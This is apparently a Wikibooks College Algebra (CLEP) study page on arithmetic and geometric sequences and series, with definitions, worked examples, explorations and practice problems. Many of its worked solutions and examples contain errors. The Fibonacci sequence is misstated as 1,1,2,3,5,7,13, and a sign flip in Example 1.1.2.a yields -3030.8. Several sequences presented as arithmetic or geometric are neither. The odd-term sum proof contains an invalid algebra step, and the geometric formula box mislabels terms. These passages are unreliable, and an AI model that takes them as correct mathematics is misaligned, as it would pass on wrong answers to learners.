Location of a term.
An index is the location of a term within a sequence, usually denoted by ${\displaystyle i}$ or ${\displaystyle k}$.
Definition of Arithmetic Sequence.
An arithmetic sequence is a sequence ${\displaystyle {\left\{x_{1},x_{2},\ldots ,x_{k},x_{k+1},\ldots \right\}}}$ in which an added real number ${\displaystyle d}$, called the difference, is added to each successive term, except the first term, ${\displaystyle x_{1}}$, such that the sequence forms ${\displaystyle {\left\{x_{1},x_{1}+d,x_{1}+2d,x_{1}+3d,\ldots \right\}}}$ in a one-to-one correspondence.
An example could perhaps help you figure with the formal definition above: The sequence ${\displaystyle {\left\{2,4,6,8,10,\ldots \right\}}}$ has a one-to-one correspondence with the general sequence ${\displaystyle {\left\{x_{1},x_{2},x_{3},x_{4},x_{5},\ldots \right\}}}$ since the first term ${\displaystyle x_{1}=2}$, second term ${\displaystyle x_{2}=4}$, third term ${\displaystyle x_{3}=6}$, and so on. The difference is the amount added to each previous term to get the new term. For ${\displaystyle x_{2}}$, ${\displaystyle x_{1}+d=x_{2}}$ or ${\displaystyle 2+d=4}$. Solving for ${\displaystyle d}$ is the difference of the two terms. In this example, the difference is ${\displaystyle d=2}$. This is how we define an arithmetic sequence.
#### Recursive Formula
Often times, we want to generate a sequence using a formula (we are mathematicians, after all, and we like to study sequences to see if there are any general patterns). If we want to find ${\displaystyle x_{i}}$, we may use the following formula:
${\displaystyle x_{i}=x_{i-1}+d.}$
However, the above formula could describe any sequence that has that general pattern. To fix this, we need to describe the first term as well when using the formula above. There are two ways to describe this formula:
1. We have it horizontally deliniated: ${\displaystyle x_{1}=a;x_{i}=x_{i-1}+d}$.
2. We have it vertically deliniated: ${\displaystyle {\begin{cases}x_{1}=a\\x_{i}=x_{i-1}+d\end{cases}}}$
To save space, we will horizontally deliniate formulas for arithmetic sequences in this WikiBook.
Formulas in which the first term is identified along with an equation in which the previous term is added by ${\displaystyle d}$ to get the next term is called a recursive formula.
A recursive formula is a formula that describes how to get a term or many terms of a sequence by stating the starting value or values and each previous term or terms and adding difference ${\displaystyle d}$ to each subsequent term.
Recursive Formula for an Arithmetic Sequence
Given an initial value ${\displaystyle a}$ and constant difference ${\displaystyle d}$, the ${\displaystyle i}$th term in an arithmetic sequence is given by the previous ${\displaystyle (i-1)}$th term of the sequence:
${\displaystyle x_{1}=a;x_{i}=x_{i-1}+d}$ OR
${\displaystyle {\begin{cases}x_{1}=a\\x_{i}=x_{i-1}+d\end{cases}}}$
Example 1.1.1.a: Find the ${\displaystyle 7}$th term to the arithmetic sequence ${\displaystyle {\left\{19,18.25,17.5,16.75,16,\ldots \right\}}}$ To determine the next term, we first need to find the difference ${\displaystyle d}$. Note that an arithmetic sequence will have the next term add ${\displaystyle d}$ to the previous term. Since that is how the arithmetic sequence works, ${\displaystyle 19+d=18.25}$ is a valid way to find the difference between two terms. Solving for ${\displaystyle d}$, we find the constant difference is ${\displaystyle d=-{3 \over 4}=-0.75}$. Since the difference is the same for each given term in the sequence, we can find the 7th term by adding ${\displaystyle d=-0.75}$ to ${\displaystyle 16}$, which gives us ${\displaystyle 16-0.75=15.25}$. Finally, add ${\displaystyle d}$ to the next term to get the final answer: ${\displaystyle 15.25-0.75=14.5.}$
There are many reasons why it is more important to have a recursive formula. It is not always slow; it may be easier to understand. The next example shows why this is exactly true
Example 1.1.1.b: Write the recursive formula to the sequence ${\displaystyle {\left\{1,1,2,3,5,7,13,\ldots \right\}}}$. Many of you will perhaps know this famous pattern as the Fibonacci Sequence. For those of you who do not know this sequence, the way we determine the next term is by using the previous terms and adding them together. In our notation, we would say that the term ${\displaystyle a}$ at index ${\displaystyle i}$, ${\displaystyle a_{i}}$ is equivalent to ${\displaystyle a_{i-2}+a_{i-1}}$. Remember, however, we are not done. If a mathematician saw the sequence ${\displaystyle {\left\{2,4,6,10,16,26,42,\ldots \right\}}}$, he (or she) would determine that ${\displaystyle a_{i}=a_{i-2}+a_{i-1}}$ also describes that sequence. Therefore, we must list the first two terms because listing only the first term would not allow us to get the next term. This means our final answer is ${\displaystyle a_{1}=1,a_{2}=1;a_{i}=a_{i-2}+a_{i-1}.}$
Note that Example 1.1.b is not an example of an arithmetic sequence. Your next exploration will be to determine why this is true. Along with that, you will use your critical thinking skills to argue for or against something in the explorations after that one.
Exploration 1-1: Explain why the Fibonacci Sequence is not considered arithmetic. Determine how to change the formula for the Fibonacci Sequence so that it becomes an arithmetic recursive formula; explain why must the formula be written that way.
A term ${\displaystyle x}$ at index ${\displaystyle i}$ is not added by a common difference ${\displaystyle d}$, where ${\displaystyle d}$ must remain constant. By definition, the Fibonacci Sequence does not have a constant difference to get to the next term because the formula ${\displaystyle a_{1}=1,a_{2}=1;a_{i}=a_{i-2}+a_{i-1}.}$ does not have a constant difference. Ergo, the Fibonacci Sequence formula is not arithmetic, but it is recursive. To make it arithmetic, identify only the first term because we can find the second term by using the constant difference ${\displaystyle d}$, then add the previous term of ${\displaystyle i}$, ${\displaystyle a_{i-1}}$, by constant difference ${\displaystyle d}$: ${\displaystyle a_{1}=1;a_{i}=a_{i-1}+d}$.
Exploration 1-2: Let the first two terms of a sequence be ${\displaystyle x_{1}=a}$ and ${\displaystyle x_{2}=b}$ where ${\displaystyle a\neq b}$.
• Argue either for OR against the claim that the recursive formula ${\displaystyle x_{1}=a,x_{2}=b;x_{i}=x_{i-2}+d}$ is arithmetic and recursive.
• If you disagree that ${\displaystyle x_{1}=a,x_{2}=b;x_{i}=x_{i-2}+d}$ is arithmetic and recursive, write a formula that is arithmetic and recursive.
• If you agree that ${\displaystyle x_{1}=a,x_{2}=b;x_{i}=x_{i-2}+d}$ is arithmetic and recursive, explain why it is so.
Finally, if ${\displaystyle x_{1}=a}$, ${\displaystyle x_{2}=b}$, and ${\displaystyle a=b}$,
• argue either for OR against the idea that the formula ${\displaystyle x_{1}=a,x_{2}=b;x_{i}=x_{i-2}+d}$ is arithmetic and recursive.
• The sequence generated by using the formula is ${\displaystyle {\left\{a,b,\left(a+d\right),\left(b+d\right),\left(a+2d\right),\left(b+2d\right),\left(a+3d\right),\left(b+3d\right),\ldots \right\}}}$ For a sequence to be arithmetic, the common difference ${\displaystyle d}$ must be constant. While the common difference is constant, the sequence must be in the form ${\displaystyle {\left\{a,\left(a+d\right),\left(a+2d\right),\left(a+3d\right),\left(a+4d\right)\ldots \right\}}}$; otherwise, it is not arithmetic. Therefore, the recursive formula ${\displaystyle x_{1}=a,x_{2}=b;x_{i}=x_{i-2}+d}$ is not arithmetic. To make it an arithmetic recursive formula, change the previous formula such that ${\displaystyle x_{1}=a;x_{i}=x_{i-1}+d}$.
• If ${\displaystyle a=b}$, then the sequence generated by using the formula ${\displaystyle x_{1}=a,x_{2}=b;x_{i}=x_{i-2}+d}$ is ${\displaystyle {\left\{b,b,\left(b+d\right),\left(b+2d\right),\left(b+3d\right),\left(b+4d\right),\left(b+5d\right),\ldots \right\}}}$ However, for a sequence to be arithmetic, each term must be added by the constant difference. Since the term in index ${\displaystyle i=2}$ is not added by ${\displaystyle d}$, the formula is not arithmetic.
• Exploration 1-3: Let the first term ${\displaystyle x_{1}=a}$. Argue either for OR against the idea that sequence ${\displaystyle {\left\{x_{1},x_{2},x_{3},\ldots \right\}}}$ is arithmetic if you change it to ${\displaystyle {\left\{a,a,a,\ldots \right\}}}$
Since ${\displaystyle {x_{1}=a;x_{i}=x_{i-1}+d}}$ is the arithmetic recursive formula, ${\displaystyle a=a+d}$ is valid. The only way for ${\displaystyle a=a+d}$ to be true is by making ${\displaystyle d=0}$. However, since you are adding each term by using a constant difference ${\displaystyle d}$, and you are using the previous term to do so, the new sequence forms: ${\displaystyle {a,a+1\cdot 0,a+2\cdot 0,a+3\cdot 0,a+4\cdot 0,\ldots }}$ By definition, the sequence formed is arithmetic.
#### Direct Formula
By now, you may be wondering if there is a way to find the term of an arithmetic sequence directly. Well, there is. Before giving you the formula, let us go through the motions for our general recursive arithmetic formula ${\displaystyle {x_{1}=a;x_{k}=x_{k-1}+d}}$. Let's chart the recursive arithmetic formula.
${\displaystyle {\begin{array}{|c|c|}k&x\\\hline 1&a\\\hline 2&a+d\\\hline 3&a+2d\\\hline 4&a+3d\\\hline \vdots &\vdots \end{array}}\!}$
If you think about it, the table above is basically a linear function, although starting at ${\displaystyle k=1}$ instead of ${\displaystyle k=0}$. Write out the function as ${\displaystyle x=a+kd}$. We get near our answer. Our independent variable ${\displaystyle k}$ is horizontally translated by ${\displaystyle 1}$ to the right, so ${\displaystyle x=a+(k-1)d}$ is our function. In fact, we found our direct relationship. Rewrite it the way we normally write it and we found our direct formula: ${\displaystyle x_{k}=a+(k-1)d}$.
A direct formula describes how to get a term or many terms of a sequence by only using a formula that directly finds a particular value, without stating the first term or terms of a sequence.
Direct Formula for an Arithmetic Sequence
Given an initial value ${\displaystyle a}$ and constant difference ${\displaystyle d}$, the ${\displaystyle i}$th term in an arithmetic sequence is given by the direct formula:
${\displaystyle x_{i}=a+(i-1)d.}$
Example 1.1.2.a: An arithmetic sequence ${\displaystyle {\left\{22.4,29.2,36,42.8,49.6,\ldots \right\}}}$ is discovered. What is the ${\displaystyle 450}$th term in the sequence? As always, before we can determine the answer, we need to find the "rate of change" of our sequence. Since ${\displaystyle a=22.4}$, we know that ${\displaystyle x_{i}=22.4+(i-1)d}$. The second term is ${\displaystyle 29.2}$, so when ${\displaystyle i=2}$, ${\displaystyle 29.2=22.4+(2-1)d}$. Of course, now we can solve for ${\displaystyle d}$: ${\displaystyle 29.2=22.4+(2-1)d}$; ${\displaystyle 29.2=d}$; ${\displaystyle 6.8=d}$. Since we now know the common difference, we can find the smallest ${\displaystyle 450}$th term in the sequence. By using our direct formula for an arithmetic sequence, we can find the index in which it is possible. Since ${\displaystyle x_{i}=22.4-6.8(i-1)}$, we find the ${\displaystyle 450}$th term by substituting ${\displaystyle i=450}$. Ergo, ${\displaystyle x_{450}=22.4-6.8(450-1)}$. Solve for ${\displaystyle x_{450}}$ to get the final answer. ${\displaystyle x_{450}=22.4-6.8(450-1)}$; ${\displaystyle x_{450}=22.4-6.8(449)}$; ${\displaystyle x_{450}=22.4-3121.2}$; ${\displaystyle x_{450}=-3030.8.}$
The example above would be a routine, straightforward problem in the CLEP College Algebra exam. However, as practice makes perfect, we will also have non-routine problems that involve thorough understanding of the topic and concepts and skills learned, which will make up 50% of the exam. This is why it is important to do the explorations. While they may not be on a CLEP exam, they are vital in making you think like a mathematician. The next problem will be non-routine problem.
Example 1.1.2.b: What is the smallest index needed to find a negative term in the arithmetic sequence ${\displaystyle {\left\{22.4,21.2,20,17.6,16.4,\ldots \right\}}}$? As always, before we can determine the answer, we need to find the "rate of change" of our sequence. Since ${\displaystyle a=22.4}$, we know that ${\displaystyle x_{i}=22.4+(i-1)d}$. We know that the second term is ${\displaystyle 21.2}$, so when ${\displaystyle i=2}$, ${\displaystyle 21.2=22.4+(2-1)d}$. Of course, now we can solve for ${\displaystyle d}$: ${\displaystyle 21.2=22.4+(2-1)d}$; ${\displaystyle 21.2=22.4+d}$; ${\displaystyle -1.2=d}$. Since we now know the common difference, we can find the smallest term needed to reach a negative number in our sequence. By using our direct formula for an arithmetic sequence, we can find the index by solving for ${\displaystyle i}$. Since ${\displaystyle x_{i}=22.4-1.2(i-1)}$, we find the minimal index in which it is possible to have a number less than zero. Ergo, ${\displaystyle 0\geq 22.4-1.2(i-1)}$. Now all we have to do is solve for ${\displaystyle i}$. ${\displaystyle 22.4-1.2(i-1)\leq 0}$; ${\displaystyle -1.2(i-1)\leq -22.4}$; ${\displaystyle i-1\geq {-22.4 \over -1.2}}$; ${\displaystyle i\geq {22.4 \over 1.2}+1}$; ${\displaystyle i\geq 19.{\overline {6}}}$. Since index ${\displaystyle i}$ must be greater than ${\displaystyle 19.{\overline {6}}}$, the minimal index required to find the term that is negative is at ${\displaystyle i=20.}$
#### CLEP Practice Problems: Check Your Understanding
1
In the arithmetic series ${\displaystyle {\left\{2,\,6,\,10,\,14,\ldots ,\,398\right\}}}$ in which ${\displaystyle 398}$ is the last term, how many terms are in the sequence?
terms. (Note: typing a comma will give you a decimal, so do not type a comma.)
2
Abigail is tired of having her pencils not returned to her. She decided to devise a system in which each student will record their first and last name. The pencils are free for anyone to borrow. However, should a student forget to return a pencil to her before the end of class, a student is charged ${\displaystyle 25}$ cents and per cycled block day the pencil is not returned – e.g. if a student accidentally forgot to give back Abigail's pencil, they will be fined the next A-day after the B-day (block days are seperated into two blocks, A-block and B-block). Joseph had forgotten to return the pencil for ${\displaystyle 60}$ school week days (days Monday through Friday). How much does Joseph owe Abigail, according to her system?
$${\displaystyle 15.00}$$${\displaystyle 14.75}$ $${\displaystyle 7.75}$$${\displaystyle 7.50}$ \$${\displaystyle 7.25}$
3
The following arithmetic sequence is listed: ${\displaystyle {\left\{-{1 \over 3},\,0,\,{1 \over 3},\,{2 \over 3},\,1,\,1{1 \over 3},1{2 \over 3},\,2,\ldots \right\}}}$ Which of the following is the formula that represents the sequence directly using any index ${\displaystyle i}$ to find term ${\displaystyle x_{i}}$?
${\displaystyle x_{i}={1 \over 3}-{1 \over 3}(i+1)}$ ${\displaystyle x_{i}={1 \over 3}-{1 \over 3}(i-1)}$ ${\displaystyle x_{i}=-{1 \over 3}+{1 \over 3}i}$ ${\displaystyle x_{i}=-{1 \over 3}+{1 \over 3}(i-1)}$ ${\displaystyle x_{i}=-{1 \over 3}+{1 \over 3}(i+1)}$
4
If the first term is ${\displaystyle x}$ in a sequence, the last ${\displaystyle 501}$st term of the sequence is ${\displaystyle 9,000}$, and the constant difference is ${\displaystyle 20}$, what is the second term of the sequence?
${\displaystyle -1,000}$ ${\displaystyle -980}$ ${\displaystyle -1,020}$ ${\displaystyle 1,000}$ ${\displaystyle 980}$
5
Given ${\displaystyle a_{i}}$ is the term of a sequence at index ${\displaystyle i}$, the first term of a sequence is ${\displaystyle x}$, and the constant difference is ${\displaystyle d}$, which of the following must be TRUE? Indicate all such statements.
${\displaystyle a_{1}=x;a_{i}=x+d(i-2)+d}$ ${\displaystyle {x-a_{i} \over d}-1=i}$ ${\displaystyle a_{i}-x+d=di}$
### Geometric Sequence
Definition of Geometric Sequence.
A geometric sequence is a sequence ${\displaystyle {\left\{x_{1},x_{2},\ldots ,x_{k},x_{k+1},\ldots \right\}}}$ in which a multiplied real number ${\displaystyle r}$, called the common ratio, is multiplied to each successive term, except the first term, ${\displaystyle x_{1}}$, such that the sequence forms ${\displaystyle {\left\{x_{1},x_{1}r,x_{1}r^{2},x_{1}r^{3},\ldots \right\}}}$
As always, if you are unable to understand, try a few examples of numbers to think of in your head. Let the common ratio ${\displaystyle r=2}$ and let ${\displaystyle x_{1}=1.5}$. The next term ${\displaystyle {x_{2}=x_{1}r}}$, so ${\displaystyle x_{2}=1.5\cdot 2=3}$. If you keep the pattern going for each term of the sequence, you would get the following: ${\displaystyle {\left\{1.5,3,6,12,24,48,\ldots \right\}}}$
#### Recursive Formula
As with the arithmetic formula, you can find the recursive formula and the direct formula for a geometric sequence. Since every term is multiplied by common ratio ${\displaystyle r}$, with the first term ${\displaystyle x_{1}=a}$, for any term of index ${\displaystyle i}$, to find the next term requires knowing the previous term. Ergo, ${\displaystyle x_{i}=rx_{i-1}}$
Recursive Formula for a Geometric Sequence
Given an initial value ${\displaystyle a}$ and constant difference ${\displaystyle d}$, the ${\displaystyle i}$th term in an arithmetic sequence is given by the previous ${\displaystyle (i-1)}$th term of the sequence:
${\displaystyle x_{1}=a;x_{i}=rx_{i-1}}$ OR
${\displaystyle {\begin{cases}x_{1}=a\\x_{i}=rx_{i-1}\end{cases}}}$
#### Direct Formula
By now, you may be wondering if there is a way to find the term of an arithmetic sequence directly. Well, there is. Before giving you the formula, let us go through the motions for our general recursive arithmetic formula ${\displaystyle {x_{1}=a;x_{k}=rx_{k-1}}}$. Let's chart the recursive arithmetic formula.
${\displaystyle {\begin{array}{|c|c|}k&x\\\hline 1&a\\\hline 2&ar\\\hline 3&ar^{2}\\\hline 4&ar^{3}\\\hline \vdots &\vdots \end{array}}\!}$
If you think about it, the table above is basically an exponential function, ${\displaystyle f(k)=ab^{k}}$, starting at ${\displaystyle k=1}$. Write out the function as ${\displaystyle x=ar^{k}}$. We get near our answer. Our independent variable ${\displaystyle k}$ is translated to the right ${\displaystyle 1}$ unit, so ${\displaystyle x=ar^{k-1}}$ is our function. In fact, we found our direct relationship. Rewrite it the way we normally write it and we found our direct formula: ${\displaystyle x_{k}=ar^{k-1}}$.
Direct Formula for an Arithmetic Sequence
Given an initial value ${\displaystyle a}$ and common ratio ${\displaystyle r}$, the ${\displaystyle i}$th term in an geometric sequence is given by the direct formula:
${\displaystyle x_{i}=ar^{i-1}}$
Example 1.2.2.a: A geometric sequence ${\displaystyle {\left\{22.4,11.2,5.6,2.8,1.4,\ldots \right\}}}$ is discovered. What is the ${\displaystyle 18}$th term in the sequence? To find the answer, we need to know the common ratio ${\displaystyle r}$ of the sequence above. Pick any arbitrary term in the sequence and apply it to the direct geometric formula: ${\displaystyle x_{2}=ar^{2-1}}$. Find ${\displaystyle r}$: ${\displaystyle 11.2=22.4r.}$ ${\displaystyle r=0.5={1 \over 2}.}$ Knowing the value of ${\displaystyle r}$, you can find the ${\displaystyle 18}$th term in the sequence by using the direct formula: ${\displaystyle x_{18}=22.4\left({\frac {1}{2}}\right)^{18-1}}$ ${\displaystyle x_{18}=22.4\left(0.00000762939\right)}$ ${\displaystyle x_{18}=0.00017089843}$
As always, these examples are things you can work through yourself or follow along so that you can see how to do a problem.
Exploration 1-4: Let the first term ${\displaystyle x_{1}=a}$. Argue either for OR against the idea that sequence ${\displaystyle {a,-2a,4a,\ldots }}$ is geometric.
A geometric sequence must have the terms be multiplied by a common ratio ${\displaystyle r}$. If the sequence were arithmetic, a term must be added such that adding the previous term by a constant difference ${\displaystyle d}$ will result in the alternation of negative and positive terms. Since that is impossible, you must multiply the terms in the sequence above by a common ratio ${\displaystyle r}$.
Exploration 1-5: A power function is a function ${\displaystyle f}$ that has the power term ${\displaystyle p}$ be any real number ${\displaystyle \mathbb {R} }$ or ${\displaystyle p\in \mathbb {R} }$, where ${\displaystyle f(x)=ax^{p}}$. Let ${\displaystyle p={1 \over 2}}$ and ${\displaystyle a=2}$. If ${\displaystyle f(x)=ax^{p}}$,
• multiply each value of ${\displaystyle x}$ by a common ratio ${\displaystyle r}$. Determine whether the range will also be a geometric sequence through example using any value of ${\displaystyle r}$.
• prove that multiplying the domain, ${\displaystyle x}$, by a common ratio ${\displaystyle r}$ will give a range that is geometric (where the common difference for the domain is ${\displaystyle r_{f})}$.
• Since the domain of ${\displaystyle f}$ must be a geometric sequence multiplied by a common ratio ${\displaystyle r}$, multiply each value of ${\displaystyle x}$ by ${\displaystyle r=2}$. The following geometric sequence is formed: since ${\displaystyle x\cdot 2}$, given ${\displaystyle f(2x)=2{\sqrt {2x}}}$, ${\displaystyle f(2x)}$ will form ${\displaystyle {2{\sqrt {2}},\,4,\,2{\sqrt {6}},\,2{\sqrt {8}},\ldots }}$. Each sequence must have values multiplied by ${\displaystyle {\sqrt {2}}}$. As such, the range of ${\displaystyle f}$ must be geometric for this given ${\displaystyle r}$ value.
• The question is asking whether or not ${\displaystyle f(xr)}$ will give a range for ${\displaystyle f(x)}$ such that you multiply by a constant. Let's define that constant as ${\displaystyle r_{f}}$. Let ${\displaystyle f(x)=f\left(x_{1}\right)}$. Since ${\displaystyle f\left(x_{1}\right)=a\left(x_{1}\right)^{p}}$, if ${\displaystyle x_{2}=x_{1}r}$, then ${\displaystyle f\left(x_{2}\right)=a\left(x_{2}\right)^{p}}$. Since ${\displaystyle x_{2}=x_{1}r}$, function ${\displaystyle f\left(x_{2}\right)=a\left(x_{1}r\right)^{p}}$. Since any term ${\displaystyle (ab)^{m}}$ will give ${\displaystyle a^{m}b^{m}}$, function ${\displaystyle f\left(x_{2}\right)=ax_{1}^{p}r^{p}}$. Since ${\displaystyle ax_{1}^{p}=f\left(x_{1}\right)}$, function ${\displaystyle f\left(x_{2}\right)=f\left(x_{1}\right)r^{p}}$. Since ${\displaystyle r}$ and ${\displaystyle p}$ are constant, the expression ${\displaystyle r^{p}}$ will be constant. Since you are multiplying the range, ${\displaystyle f\left(x_{1}\right)}$, by a common ratio (otherwise known as a geometric sequence), given the constant ${\displaystyle r^{p}=r_{f}}$, then when multiplying the values of the domain, the range must be multiplied by a constant:
• ${\displaystyle f\left(x_{2}\right)=f\left(x_{1}\right)r_{f}.}$
## Series
It is great to find these patterns to these sequences, but is that the only use we have for these sequences? As always, the answer in math is never no in regards to a low amount of utility (i.e. usefulness). A function does not only describe the pattern associated with numbers but also predicts the graph created when plotted using ${\displaystyle x}$ for its inputs and ${\displaystyle y}$ for its outputs. Using the terms of a sequence, can we determine a sum? We can, and it is called a series.
Definition of a Series.
A series is the sum of the terms of a sequence.
There is always a way to find the sum of a sequence by force: add up the terms one by one and get the answer. Mathematicians are lazy people and don't want to do more work than necessary. That is to say, mathematicians work smart, not hard.
### Arithmetic Series
Example 2.1.1.a: What is ${\displaystyle {1+2+3+\ldots +97+98+99+100}}$? This is a classic example among many mathematicians. You may be reaching for your calculator, but that will definitely take a long time to punch in all those numbers, and you may accidently make mistakes while writing out the expression. The question is, how do we solve this in the short amount of time we are given on the CLEP exam? Notice that there is a pattern at play: the first term of the series, ${\displaystyle 1}$, plus the last term of the series, ${\displaystyle 100}$, will give us ${\displaystyle 101}$. The second term of the series, ${\displaystyle 2}$, plus the second-to-last term of the series, ${\displaystyle 99}$, will give us ${\displaystyle 101}$. In fact, for all ${\displaystyle 100}$ terms in the series, each pair of numbers, according to their "placement," adds to ${\displaystyle 101}$. Since there are ${\displaystyle 50}$ pairs in this series, and the sum of each pair of numbers always yields ${\displaystyle 101}$, ${\displaystyle 101\cdot 50=5050{\text{ is the sum of the expression above.}}}$
Let us make a conjecture for the above statement. After all, we are not robots that are simply fed a method and do something the same way. We will contract parts of the above expression in the question above to see if our method will be useful for any number of terms. Let ${\displaystyle n}$ be the number of terms in the arithmetic series ${\displaystyle A_{E}}$, let ${\displaystyle S}$ be the sum of ${\displaystyle A_{E}}$, and let ${\displaystyle S_{m}}$ be the column in which the same method we used in Example 2.1.1.a will, hopefully, get us the sum ${\displaystyle S}$.
${\displaystyle {\begin{array}{|c|c|}n&A_{E}&S&S_{m}\\\hline 2&1+2&3&(1+2)\cdot 1=3\\\hline 3&1+2+3&6&(1+3)\cdot 1.5=6\\\hline 4&1+2+3+4&10&(1+4)\cdot 2=10\\\hline 5&1+2+3+4+5&15&(1+5)\cdot 2.5=15\\\hline \vdots &\vdots &\vdots &\vdots \\\hline n&1+2+\ldots +(n-1)+n&S&(1+n)\cdot {n \over 2}=S\end{array}}\!}$
Notice how the odd terms have this weird (or perhaps odd) behavior where not all pairs of terms have the same sum (because there is not an even amount of pairs). While it may seem that using the method in Example 2.1.1.a will work for all odd number of terms based on the table above, maybe it is not true for some really high odd term. Therefore, it is important to prove this is true. For now, let us simply define the formula to be true for both even and odd number of terms.
Gaussian method for finding the sum of an arithmetic series.
For any finite sequence ${\displaystyle {\left\{x_{i}\right\}}}$, where ${\displaystyle x_{i}=a+(i-1)d}$, that contains ${\displaystyle k}$ terms, the sum of each term is
${\displaystyle S_{A}={a+x_{k} \over 2}\cdot k.}$
A finite set of things is something that has a determined number of anythng within that set. An infinite set is a set not described by a determined number of the amount within that set.
Note: the above formula is not known as the "Gaussian method" among mathematicians. This wikibooks will simply refer to this method as the "Gaussian method."[see footnote 1.]
Example 2.1.1.b: Knowing the sum to an arithmetic series is ${\displaystyle 600}$ and the first term is ${\displaystyle 50}$ but the last term is ${\displaystyle 250}$, what is the constant difference? This seems like an impossible problem to someone who does not know about the Gaussian method or the properties of an arithmetic sequence. However, since you have paid attention, you can figure out for yourself. For the purposes of giving an example, this Wikibooks will explain. We do not know how many terms there are in the sequence, so let's find out how many terms there are. Since ${\displaystyle S_{A}={a+x_{k} \over 2}\cdot k,}$ ${\displaystyle 600={50+250 \over 2}\cdot k.}$ This subject is not called College Algebra for nothing, so do some algebra. ${\displaystyle 600={300 \over 2}\cdot k}$ ${\displaystyle 600=150k}$ ${\displaystyle 40=k}$ Note, however, that we are not looking for the number of terms in the series. We want to know the constant difference of the arithmetic series. Therefore, use the arithmetic sequence direct formula: ${\displaystyle x_{k}=a+d(k-1)}$! ${\displaystyle x_{40}=250}$ ${\displaystyle 250=50+d(40-1)}$ ${\displaystyle 200=39d}$ ${\displaystyle {200 \over 39}=d}$ ${\displaystyle 5{5 \over 39}=d}$
Example 2.2.1.b helps us know how to find the number of terms and the constant difference. Sometimes, you may simply not know one or both of the information you needed to find in Example 2.2.1.b., more often the number of terms. The next example helps illustrate the usefulness of knowing about the properties of arithmetic series and arithmetic sequences.
Example 2.1.1.c: What is the sum of the arithmetic series ${\displaystyle {4+9+14+\ldots +2,494+2,499+2,504}}$? To find the sum, we need to know how many terms there are; otherwise we cannot use the Gaussian method. Because we do not know the sum of the series, let's use the direct arithmetic sequence formula (since we know which terms correspond to place). We want to find the number of terms, ${\displaystyle k}$, so use the last term (${\displaystyle x_{k}=2,504}$). First, find the constant difference. To get from ${\displaystyle 4}$ to ${\displaystyle 9}$, we need to add ${\displaystyle 5}$ to ${\displaystyle 4}$. Therefore, the constant difference is ${\displaystyle d=5}$. To put it more formally: if recursive formula ${\displaystyle x_{1}=4;x_{2}=4+d}$ and ${\displaystyle x_{2}=9}$, then ${\displaystyle x_{1}=4;9=4+d}$ means ${\displaystyle d=5}$. Second, find the number of terms. If ${\displaystyle x_{k}=2,504}$, ${\displaystyle d=5}$, and ${\displaystyle x_{1}=a=4}$, then ${\displaystyle 2,504=4+5(k-1)}$. Solve for ${\displaystyle k}$: ${\displaystyle 2,500=5(k-1)}$ ${\displaystyle 500=k-1}$ ${\displaystyle 501=k.}$ Finally, use the Gaussian Method: ${\displaystyle S_{A}={4+2,504 \over 2}\cdot 501}$ ${\displaystyle S_{A}={2,508 \over 2}\cdot 501}$ ${\displaystyle S_{A}=1,254\cdot 501}$ ${\displaystyle S_{A}=628,254.}$
As you can see, an arithmetic series can be useful in describing any type of sequence. Now that we have sufficiently explored arithmetic series, let's prove that the Gaussian method works for odd number of terms.
Note: what you are about to learn is NOT required for the curriculum. If you do not understand this proof, do not worry, for it does not matter for the CLEP exam. These proofs are only to build a mathematical understanding of the concepts. As such, you may skip these if you want.
Given that ${\displaystyle {a+x_{k} \over 2}\cdot k}$ finds the sum of an arithmetic series, Prove that ${\displaystyle {a+x_{k} \over 2}\cdot k}$ works for odd number terms.
Given there are ${\displaystyle k}$ terms in the arithmetic sequence, ${\displaystyle x_{k}=a+d(k-1)}$.
Adding one more term makes the sequence even because ${\displaystyle k}$ is odd: ${\displaystyle x_{k+1}=a+d([k+1]-1)=a+dk}$.
Since ${\displaystyle x_{k+1}=a+dk}$, adding ${\displaystyle x_{k+1}}$ to the series makes that the last term, so ${\displaystyle {a+a+dk \over 2}\cdot (k+1)}$.
Because ${\displaystyle {x \over z}=xz^{-1}}$ and ${\displaystyle xz=zx}$, ${\displaystyle 2^{-1}\cdot (a+a+dk)\cdot (k+1)=(a+a+dk)\cdot 2^{-1}(k+1)=(a+a+dk)\cdot {k-1 \over 2}}$.
${\displaystyle -(a+dk)+(a+a+dk)\cdot {k-1 \over 2}}$ will help us find the number of terms we are looking for:
${\displaystyle {{(2a+dk)(k-1) \over 2}-a-dk={2ak+2a+dk+dk^{2} \over 2}-a-dk={2ak+2a+dk+dk^{2} \over 2}-{2a-2dk \over 2}=}}$
${\displaystyle {{2ak+2a+dk+dk^{2}-2a-2dk \over 2}={2ak-dk+dk^{2} \over 2}={k(2a-d+dk) \over 2}={k \over 2}\cdot (2a-d+dk).}}$
Since ${\displaystyle -d+dk}$ has multiplier ${\displaystyle d}$ for both terms, ${\displaystyle d(k-1)}$.
${\displaystyle {[2a+d(k-1)]\cdot {k \over 2}=[a+a+d(k-1)]\cdot {k \over 2}}.}$
Because ${\displaystyle x_{k}=a+d(k-1)}$, ${\displaystyle {[a+a+d(k-1)]\cdot {k \over 2}=\left(a+x_{k}\right)\cdot {k \over 2}={a+x_{k} \over 2}\cdot k}}$.
${\displaystyle {a+x_{k} \over 2}\cdot k}$ is the same formula we started with; ergo, the same formula works for odd number terms and even number terms.
#### CLEP Practice Problems: Check Your Understanding
1
Given the arithmetic series ${\displaystyle 50+45+30+\ldots -700}$, determine the number of terms in the arithmetic series.
. (Note: typing a comma will give you a decimal, so do not type a comma.)
2
Given the arithmetic series ${\displaystyle 50+45+30+\ldots -700}$, determine the sum of the arithmetic series.
. (Note: typing a comma will give you a decimal, so do not type a comma.)
3
Function ${\displaystyle S}$ has the following properties: ${\displaystyle S(x)=x{\text{ if }}-20\leq x\leq 50}$ and ${\displaystyle S(x)=3x+1{\text{ if }}50. A student decided to add all terms for all ${\displaystyle x\in \mathbb {Z} }$ or for all x that belong to the set of integers. What is the sum of the terms of function ${\displaystyle S}$ for all ${\displaystyle x\in \mathbb {Z} }$?
${\displaystyle 56,625}$ ${\displaystyle 57,641}$ ${\displaystyle 57,690}$ ${\displaystyle 57,450}$ ${\displaystyle 56,776}$
4
The first term of an arithmetic sequence is ${\displaystyle a<0}$. Let there be two seperate sequences, ${\displaystyle \left\{x_{i}\right\}=a+d(i-1)}$ and ${\displaystyle \left\{a_{k}\right\}=a+d(k-1)}$, with ${\displaystyle 500}$ terms in each sequence. If the constant difference is ${\displaystyle d<0}$ for ${\displaystyle \left\{x_{i}\right\}}$, but the constant difference is ${\displaystyle d>0}$ for ${\displaystyle \left\{a_{k}\right\}}$, which of the following must be true? Indicate all such statements
